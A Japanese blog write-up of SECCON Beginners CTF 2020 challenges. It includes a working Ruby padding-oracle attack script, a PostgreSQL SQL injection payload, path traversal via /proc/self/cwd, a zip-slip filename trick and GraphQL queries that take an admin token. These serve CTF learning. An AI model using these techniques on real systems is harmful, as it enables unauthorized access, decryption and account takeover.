SECCON Beginners CTF 2020 writeup
はじめに
SECCON Beginners CTF 2020に出ました。結果は1009チーム中48位でした。
自分が解けた問題(+α)のwriteupを書きます。
他のチームメイトが解いた問題は以下のブログを参照してください。 rajyan.hatenablog.jp
解いた問題
emoemoencode
実はあんまりちゃんと解けていないです。文字数的に絵文字1個がASCII1文字に対応していそうな感じなので、バイト列を見比べます。
ちょっとずれているけれど絵文字の下6桁に注目すると変換先のASCIIに見えてくるので、
File.read('emoemoencode.txt').bytes.each_slice(4).map{|is|is.last.to_s(2)}.map{|s|s[0]='0';s[1]='1';s.to_i(2).chr}.join
としました。このコードだと0がpに変換されてしまうのですが、guessingでなんとかしました(酷い)
readme
linuxのuser名の文字列も使えず、絶対パスでuserのファイルにアクセスできるかどうかという問題。
ディレクトリトラバーサルっぽい感じの記事を読んで、/etc/passwdとか試しましたがうまく行かず。(ディレクトリ構成のヒントにはなりましたが)
調べているうちに/proc/self/cwdが~と同じだということに気づいたので/proc/self/cwd/../flagとして、相対パスもユーザー名も使えないという条件をクリアしました。
Encrypter
decryptionに色々文字を打っていると、AES暗号であることが分かるようなエラーメッセージが来ました。 AES暗号で鍵が分からなさそうなときは、Padding Oracle Attackくらいしかやることが思いつかなかったです。
こちらの記事を大いに参考にして以下のようなコードを書きました。
require 'openssl' require 'net/https' require 'json' require 'base64' def try_decrypt(data) uri=URI('http://encrypter.quals.beginners.seccon.jp/encrypt.php') params = { mode: "decrypt", content: Base64.encode64(data) } pp Base64.encode64(data) http = Net::HTTP.new(uri.host, uri.port) http.use_ssl=false req = Net::HTTP::Post.new(uri.request_uri) req["Content-Type"] = "application/json" req.body = params.to_json res = http.request(req) pp res.body @cnt+=1 sleep(0.1) !JSON.parse(res.body).key?('error') rescue false end def attack(ciphertext) blocksize = 16 blocks = ciphertext.scan(/[\s\S]{#{blocksize}}/) pp blocks (blocks.length-1).downto(1) do |k| plain = "?" * blocksize iv = "\x00" * blocksize 1.upto(blocksize) do |n| 0.upto(255) do |i| iv[-n] = i.chr data = iv + blocks[k] if try_decrypt(data) then plain = iv.bytes.zip(blocks[k-1].bytes).map { |x,y| n ^ x ^ y }.pack("C*") p plain iv = plain.bytes.zip(blocks[k-1].bytes).map { |x,y| (n+1) ^ x ^ y }.pack("C*") break end end end blocks[k] = plain end blocks[0] = "?" * blocksize return blocks.join end ciphertext = Base64.decode64("c9yeHa7nOwnfGaJOHtBZSk7ul5zxk3dETFCE2e2xUZrIwDPT+7YMDmOlLg2god3Cs4l5lozUMq8iDjYm2bw/uQ==") p attack(ciphertext)
(5000回以上アクセスしてしまったが、これで良かったのだろうか。。。)
Spy
データベースに保存されているユーザーの一覧を手に入れれば良い。
ソースコードを見ると、Timing Attackしたくなり、実際に試してみると、ユーザーが存在するかどうかで明らかにレスポンスの時間が違うようです。(ページ下部にある時間表記もヒントですね)
あとは26人分を手で試したのでコードは書いてないです。
TweetStore
最初LIMIT句の攻撃をしようと思ったけれど、よく考えたら検索ワードでもSQLinjectionができそう。
\'; SELECT usename, usename, NOW() from pg_user;--
と打ち込んで終了。
postgresqlに対するSQLinjectionをあまりやったことがなかったので、少し手間取りました。
unzip
ソースコードを見ると、解答した際に../../flag.txtというファイル名のファイルができるzipファイルを生成すれば良さそうです。
aaaaaaflag.txtというファイルを圧縮したzipファイルを作り、zipファイルをバイナリエディタで開き、aaaaaaの部分を../../に書き換えてファイルを作成しました。
profiler
解けそうで解けなかった問題です。
JSから非同期に送っているリクエストの形式を見ると、GraphQLっぽいことがわかります。
get-graphql-schemaを使って、schemaを覗き見ると、someoneからtokenが抜けそうです。
query{someone(uid: "admin"){token}}
というqueryでadminのtokenを引っこ抜けます。
schemaを見るとupdateTokenという非公開の操作もあるので、そちらに当たりをつけ、ログインしている状態でtokenをadminのものに書き換えました。
query{flag}にアクセスすると、list index out of range(うろ覚え)みたいなエラーメッセージが返ってきました。悲しい。
/flagの画面をみると画面にはエラーメッセージも出ずに、コンソールにundefined property flag of null
のエラーが出てました。
終了後に(たぶん)同じコードを試したらあっさり通りました。残念。(最後5分くらいで焦ってたので、何か間違ったのかもしれません)
おわりに
とても楽しかったです!運営の皆様ありがとうございました!!!
Webエンジニアとして、Webをもう一問くらい通したかったので、リベンジしたいです!